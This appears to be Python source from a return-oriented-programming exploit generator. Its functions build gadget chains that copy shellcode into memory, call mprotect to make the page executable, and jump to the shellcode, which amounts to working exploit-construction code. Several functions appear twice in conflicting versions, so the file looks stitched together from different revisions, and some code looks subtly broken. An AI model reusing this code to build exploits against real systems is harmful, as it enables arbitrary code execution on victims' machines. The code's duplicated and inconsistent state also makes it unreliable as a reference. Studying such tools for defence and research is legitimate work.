def STRtoMEM_write(string, addr, constraint, assertion, limit=None, lmax=STR_TO_MEM_LMAX, addr_str=None, hex_info=False): """ WRITE STRATEGY Copy the string using mem(XXX) <- YYY gadgets """ if (not addr_str): addr_str = hex(addr) # We decompose the string in substrings to be copied substrings_addr = find_best_valid_writes(addr, string, constraint, limit) if (substrings_addr is None): return (None, None) # Build chain res = ROPChain() offset = 0 for (substring_addr, substring_val) in substrings_addr: substring_info = "(" + string_bold("Substring in int") + hex( substring_val) + ")" write_chain = store_constant_address(QueryType.CSTtoMEM, substring_addr, substring_val, constraint, assertion, clmax=lmax - len(res), optimizeLen=True) if (write_chain): res.addChain(write_chain) else: verbose("Coudln't find suitable memory write ropchain") return (None, None) return (substrings_addr[0][0], res)
def STRtoMEM(string, address, constraint, assertion, limit=None, lmax=STR_TO_MEM_LMAX\ ,addr_str=None, hex_info=False, optimizeLen=False): """ Put a string into memory limit : if (int) then the max address where to write in memory if None then string should be written ONLY at 'addr' (no adjust possible) return value: a pair (address, ROPChain) or (None, None) """ if (not limit is None and address > limit): return (None, None) chain = None chain2 = None chain3 = None # Try with memcpy verbose("Trying with memcpy()") (addr, chain) = STRtoMEM_memcpy(string, address, constraint, assertion, limit, lmax, addr_str, hex_info) res = (addr, chain) # Try with strcpy verbose("Trying with strcpy()") if (optimizeLen or (not chain)): (addr2, chain2) = STRtoMEM_strcpy(string, address, constraint, assertion, limit, lmax, addr_str, hex_info) if (not res[1]): res = (addr2, chain2) elif (chain2 and (chain2 < res[1])): res = (addr2, chain2) # Try with a direct write gadget verbose("Trying with gadgets only") if (optimizeLen or (not chain2)): (addr3, chain3) = STRtoMEM_write(string, address, constraint, assertion, limit, lmax, addr_str, hex_info) if (not res[1]): res = (addr3, chain3) elif (chain3 and (chain3 < res[1])): res = (addr3, chain3) return res
def build_mprotect64(addr, size, prot=7, constraint=None, assertion=None, clmax=None, optimizeLen=False): """ Call mprotect from X86-64 arch Args must be on registers (rdi, rsi, rdx): Sizes are (unsigned long, size_t, unsigned long) rax must be 10 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if (constraint is None): constraint = Constraint() if (assertion is None): assertion = Assertion() # Set the registers args = [[Arch.n2r('rdi'), addr], [Arch.n2r('rsi'), size], [Arch.n2r('rdx'), prot], [Arch.n2r('rax'), 10]] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Syscall syscalls = search(QueryType.SYSCALL, None, None, constraint, assertion) if (not syscalls): verbose("Failed to find a syscall gadget") return None else: chain.addChain(syscalls[0]) verbose("Success") return chain
def build_mprotect32(addr, size, prot=7, constraint=None, assertion = None, clmax=None, optimizeLen=False): """ Call mprotect from X86 arch Args must be on the stack: int mprotect(void *addr, size_t len, int prot) args must be in registers (ebx, ecx, edx) eax must be 0x7d = 125 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if( constraint is None ): constraint = Constraint() if( assertion is None ): assertion = Assertion() # Set the registers args = [[Arch.n2r('eax'),0x7d],[Arch.n2r('ebx'), addr],[Arch.n2r('ecx'),size], [Arch.n2r('edx'),prot]] chain = popMultiple(args, constraint, assertion, clmax-1, optimizeLen) if( not chain ): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 int80_gadgets = search(QueryType.INT80, None, None, constraint, assertion) if( not int80_gadgets ): verbose("Failed to find an 'int 80' gadget") return None else: chain.addChain(int80_gadgets[0]) verbose("Success") return chain
def build_dshell(shellcode, constraint, assertion, address, limit, lmax): """ Returns a PwnChain() instance or None """ # Build exploit ################# res = PwnChain() #Find address for the payload if (not address): # Get the .bss address # TODO notify("Getting delivery address for shellcode") address = getSectionAddress('.bss') addr_str = ".bss" if (not address): verbose("Couldn't find .bss address") return [] else: addr_str = hex(address) if (not limit): limit = address + Arch.minPageSize() # Deliver shellcode notify("Building chain to copy shellcode in memory") verbose("{}/{} bytes available".format(lmax * Arch.octets(), lmax * Arch.octets())) (shellcode_address, STRtoMEM_chain) = STRtoMEM(shellcode, address, constraint, assertion, limit=limit, lmax=lmax, addr_str=addr_str, hex_info=True, optimizeLen=True) address = shellcode_address addr_str = hex(address) if (not STRtoMEM_chain): verbose("Could not copy shellcode into memory") return None # Building mprotect notify("Building mprotect() chain") # Getting page to make executable # Arg of mprotect MUST be a valid multiple of page size over_page_size = address % Arch.minPageSize() page_address = address - over_page_size length = len(shellcode) + 1 + over_page_size flag = 7 lmax2 = lmax - len(STRtoMEM_chain) verbose("{}/{} bytes available".format(lmax2 * Arch.octets(), lmax * Arch.octets())) if (lmax2 <= 0): return None if (Arch.currentArch == Arch.ArchX86): mprotect_chain = build_mprotect32(page_address, length, flag, constraint.add(Chainable(ret=True)), assertion, clmax=lmax2 - 2, optimizeLen=True) elif (Arch.currentArch == Arch.ArchX64): mprotect_chain = build_mprotect64(page_address, length, flag, constraint.add(Chainable(ret=True)), assertion, clmax=lmax2 - 2, optimizeLen=True) else: mprotect_chain = None verbose("mprotect call not supported for architecture {}".format( Arch.currentArch.name)) return None if (not mprotect_chain): return None verbose("Done") # Jump to shellcode notify("Searching chain to jump to shellcode") verbose("{}/{} bytes available".format( (lmax2 - len(mprotect_chain)) * Arch.octets(), lmax * Arch.octets())) jmp_shellcode_chains = search(QueryType.CSTtoREG, Arch.ipNum(), address, constraint, assertion, clmax=lmax - len(STRtoMEM_chain) - len(mprotect_chain), optimizeLen=True) if (not jmp_shellcode_chains): verbose("Couldn't find a jump to the shellcode") return None verbose("Done") notify("Done") # Build PwnChain res and return res.add(mprotect_chain, "Call mprotect({},{},{})".format(hex(page_address), length, flag)) res.add(STRtoMEM_chain, "Copy shellcode to {}".format(addr_str)) res.add(jmp_shellcode_chains[0], "Jump to shellcode (address {})".format(addr_str)) return res
def build_mprotect32(addr, size, prot=7, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ Call mprotect from X86 arch Args must be on the stack: int mprotect(void *addr, size_t len, int prot) args must be in registers (ebx, ecx, edx) eax must be 0x7d = 125 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if (constraint is None): constraint = Constraint() if (assertion is None): assertion = Assertion() # Check if we have the function ! verbose("Trying to call mprotect() function directly") func_call = build_call('mprotect', [addr, size, prot], constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if (not isinstance(func_call, str)): verbose("Success") return func_call else: if (not constraint.chainable.ret): verbose("Coudn't call mprotect(), try direct syscall") else: verbose("Couldn't call mprotect() and return to ROPChain") return None # Otherwise do syscall directly # Set the registers args = [[Arch.n2r('eax'), 0x7d], [Arch.n2r('ebx'), addr], [Arch.n2r('ecx'), size], [Arch.n2r('edx'), prot]] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 int80_gadgets = search(QueryType.INT80, None, None, constraint, assertion) if (not int80_gadgets): verbose("Failed to find an 'int 80' gadget") return None else: chain.addChain(int80_gadgets[0]) verbose("Success") return chain
def build_syscall_Linux(syscall, arg_list, arch_bits, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ arch_bits = 32 or 64 :) """ # Check args if (syscall.nb_args() != len(arg_list)): error("Error. Expected {} arguments, got {}".format( len(syscall.arg_types), len(arg_list))) return None # Check args length for i in range(0, len(arg_list)): if (not verifyArgType(arg_list[i], syscall.arg_types[i])): error("Argument error for '{}': expected '{}', got '{}'".format( arg_list[i], syscall.arg_types[i], type(arg_list[i]))) return None # Check constraint and assertion if (constraint is None): constraint = Constraint() if (assertion is None): assertion = getBaseAssertion() # Check if we have the function ! verbose("Trying to call {}() function directly".format(syscall.def_name)) func_call = build_call(syscall.function(), arg_list, constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if (not isinstance(func_call, str)): verbose("Success") return func_call else: if (not constraint.chainable.ret): verbose("Coudn't call {}(), try direct syscall".format( syscall.def_name)) else: verbose("Couldn't call {}() and return to ROPChain".format( syscall.def_name)) return None # Otherwise do syscall directly # Set the registers args = [(Arch.n2r(x[0]), x[1]) for x in zip(syscall.arg_regs, arg_list) + syscall.syscall_arg_regs ] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen=optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 if (arch_bits == 32): syscall_gadgets = search(QueryType.INT80, None, None, constraint, assertion) # syscall elif (arch_bits == 64): syscall_gadgets = search(QueryType.SYSCALL, None, None, constraint, assertion) if (not syscall_gadgets): verbose("Failed to find an 'int 0x80' OR 'syscall' gadget") return None else: chain.addChain(syscall_gadgets[0]) verbose("Success") return chain
def STRtoMEM_memcpy(string, addr, constraint, assertion, lmax=STR_TO_MEM_LMAX, addr_str=None, hex_info=False): """ MEMCPY STRATEGY Copy the string using memcpy function """ if (not addr_str): addr_str = "0x" + format(addr, '0' + str(Arch.octets() * 2) + 'x') # Getting strcpy function (func_name, func_addr) = getFunctionAddress('memcpy') if (not func_addr): verbose('Could not find memcpy function') return None elif (not constraint.badBytes.verifyAddress(func_addr)): verbose("memcpy address ({}) contains bad bytes".format( hex(func_addr))) return None # We decompose the string in substrings to be copied substrings_addr = findBytes(string, badBytes=constraint.getBadBytes()) if (not substrings_addr): return None elif (len(substrings_addr) * 5 > lmax): verbose( "Memcpy: ROP-Chain too long (length: {}, available bytes: {}) ". format( len(substrings_addr) * 5 * Arch.octets(), lmax * Arch.octets())) return None # Get a pop-pop-pop-ret gadget pppr_chains = _basic(QueryType.MEMtoREG, Arch.ipNum(), [Arch.spNum(), 3 * Arch.octets()], constraint.add( StackPointerIncrement(4 * Arch.octets())), assertion, clmax=1, noPadding=True) if (not pppr_chains): verbose("Memcpy: Could not find suitable pop-pop-pop-ret gadget") return None pppr_gadget = pppr_chains[0].chain[0] # Get the first gadget # Build chain res = ROPChain() offset = 0 custom_stack = addr for (substring_addr, substring_str) in substrings_addr: if (hex_info): substring_info = "'" + '\\x' + '\\x'.join( ["%02x" % ord(c) for c in substring_str]) + "'" else: substring_info = "'" + substring_str + "'" res.addPadding(func_addr, comment=string_ropg(func_name)) res.addGadget(pppr_gadget) res.addPadding(len(substring_str), comment="Arg3: " + string_ropg(str(len(substring_str)))) res.addPadding(substring_addr, comment="Arg2: " + string_ropg(substring_info)) res.addPadding(custom_stack, comment="Arg1: " + string_ropg("{} + {}".format(addr_str, offset))) # Adjust custom_stack = custom_stack + len(substring_str) offset = offset + len(substring_str) return res
def build_mprotect64(addr, size, prot=7, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ Call mprotect from X86-64 arch Args must be on registers (rdi, rsi, rdx): Sizes are (unsigned long, size_t, unsigned long) rax must be 10 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if( constraint is None ): constraint = Constraint() if( assertion is None ): assertion = Assertion() # Check if we have the function ! verbose("Trying to call mprotect() function directly") func_call = build_call('mprotect', [addr, size, prot], constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if( not isinstance(func_call, str) ): verbose("Success") return func_call else: if( not constraint.chainable.ret ): verbose("Coudn't call mprotect(), try direct syscall") else: verbose("Couldn't call mprotect() and return to ROPChain") return None # Otherwise do the syscall by 'hand' # Set the registers args = [[Arch.n2r('rdi'),addr],[Arch.n2r('rsi'), size],[Arch.n2r('rdx'),prot], [Arch.n2r('rax'),10]] chain = popMultiple(args, constraint, assertion, clmax-1, optimizeLen) if( not chain ): verbose("Failed to set registers for the mprotect syscall") return None # Syscall syscalls = search(QueryType.SYSCALL, None, None, constraint, assertion) if( not syscalls ): verbose("Failed to find a syscall gadget") return None else: chain.addChain(syscalls[0]) verbose("Success") return chain
def STRtoMEM_strcpy(string, addr, constraint, assertion, limit=None, lmax=STR_TO_MEM_LMAX, addr_str=None, hex_info=False): """ STRCPY STRATEGY Copy the string using strcpy function """ if (not addr_str): addr_str = hex(addr) # Getting strcpy function (func_name, func_addr) = getFunctionAddress('strcpy') if (not func_addr): verbose('Could not find strcpy function') return (None, None) elif (not constraint.badBytes.verifyAddress(func_addr)): verbose("strcpy address ({}) contains bad bytes".format( hex(func_addr))) return (None, None) # We decompose the string in substrings to be copied substrings_addr = findBytes(string, badBytes=constraint.getBadBytes(), add_null=True) if (not substrings_addr): return (None, None) # Find delivery address substr_lengthes = [len(substr[1]) - 1 for substr in substrings_addr] # -1 becasue strcpy substr_lengthes[-1] += 1 if (not limit is None): custom_stack = find_closest_base_fake_stack_address( addr, limit, substr_lengthes, constraint) if (custom_stack is None): verbose("Couldn't write string in memory because of bad bytes") return (None, None) else: custom_stack = find_closest_base_fake_stack_address( addr, addr + sum(substr_lengthes), substr_lengthes, constraint) if (custom_stack is None): verbose("Couldn't write string in memory because of bad bytes") return (None, None) if (custom_stack != addr): addr_str = hex(custom_stack) # Build chain res = ROPChain() offset = 0 saved_custom_stack = custom_stack for (substring_addr, substring_str) in substrings_addr: if (hex_info): substring_info = '\\x' + '\\x'.join( ["%02x" % ord(c) for c in substring_str]) else: substring_info = substring_str commentStack = "Arg2: " + string_ropg("{} + {}".format( addr_str, offset)) commentSubStr = "Arg1: " + string_ropg(substring_info) func_call = build_call(func_name, [substring_addr, custom_stack], constraint, assertion, [commentSubStr, commentStack], optimizeLen=True) if (isinstance(func_call, str)): verbose("strcpy: " + func_call) return (None, None) else: res.addChain(func_call) if (len(res) > lmax): return (None, None) # Adjust # -1 Because strcpy has a null byte :/ # Except when we INTEND to write a null byte if (substring_str == '\x00'): dec = 0 else: dec = 1 custom_stack = custom_stack + len(substring_str) - dec offset = offset + len(substring_str) - dec return (saved_custom_stack, res)
def STRtoMEM_memcpy(string, addr, constraint, assertion, limit=None, lmax=STR_TO_MEM_LMAX, addr_str=None, hex_info=False): """ MEMCPY STRATEGY Copy the string using memcpy function """ if (not addr_str): addr_str = hex(addr) # Getting strcpy function (func_name, func_addr) = getFunctionAddress('memcpy') if (not func_addr): verbose('Could not find memcpy function') return (None, None) elif (not constraint.badBytes.verifyAddress(func_addr)): verbose("memcpy address ({}) contains bad bytes".format( hex(func_addr))) return (None, None) # We decompose the string in substrings to be copied substrings_addr = findBytes(string, badBytes=constraint.getBadBytes()) if (not substrings_addr): return (None, None) # Find delivery address substr_lengthes = [len(substr[1]) for substr in substrings_addr] if (not limit is None): custom_stack = find_closest_base_fake_stack_address( addr, limit, substr_lengthes, constraint) if (custom_stack is None): verbose("Couldn't write string in memory because of bad bytes") return (None, None) else: custom_stack = find_closest_base_fake_stack_address( addr, addr + sum(substr_lengthes), substr_lengthes, constraint) if (custom_stack is None): verbose("Couldn't write string in memory because of bad bytes") return (None, None) if (custom_stack != addr): addr_str = hex(custom_stack) # Build chain res = ROPChain() offset = 0 saved_custom_stack = custom_stack for (substring_addr, substring_str) in substrings_addr: if (hex_info): substring_info = "'" + '\\x' + '\\x'.join( ["%02x" % ord(c) for c in substring_str]) + "'" else: substring_info = "'" + substring_str + "'" comment3 = "Arg3: " + string_ropg(str(len(substring_str))) comment2 = "Arg2: " + string_ropg(substring_info) comment1 = "Arg1: " + string_ropg("{} + {}".format(addr_str, offset)) func_call = build_call(func_name, [custom_stack, substring_addr, len(substring_str)],\ constraint, assertion, [comment1, comment2, comment3], optimizeLen=True) if (isinstance(func_call, str)): verbose("memcpy: " + func_call) return (None, None) res.addChain(func_call) if (len(res) > lmax): return (None, None) # Adjust custom_stack = custom_stack + len(substring_str) offset = offset + len(substring_str) return (saved_custom_stack, res)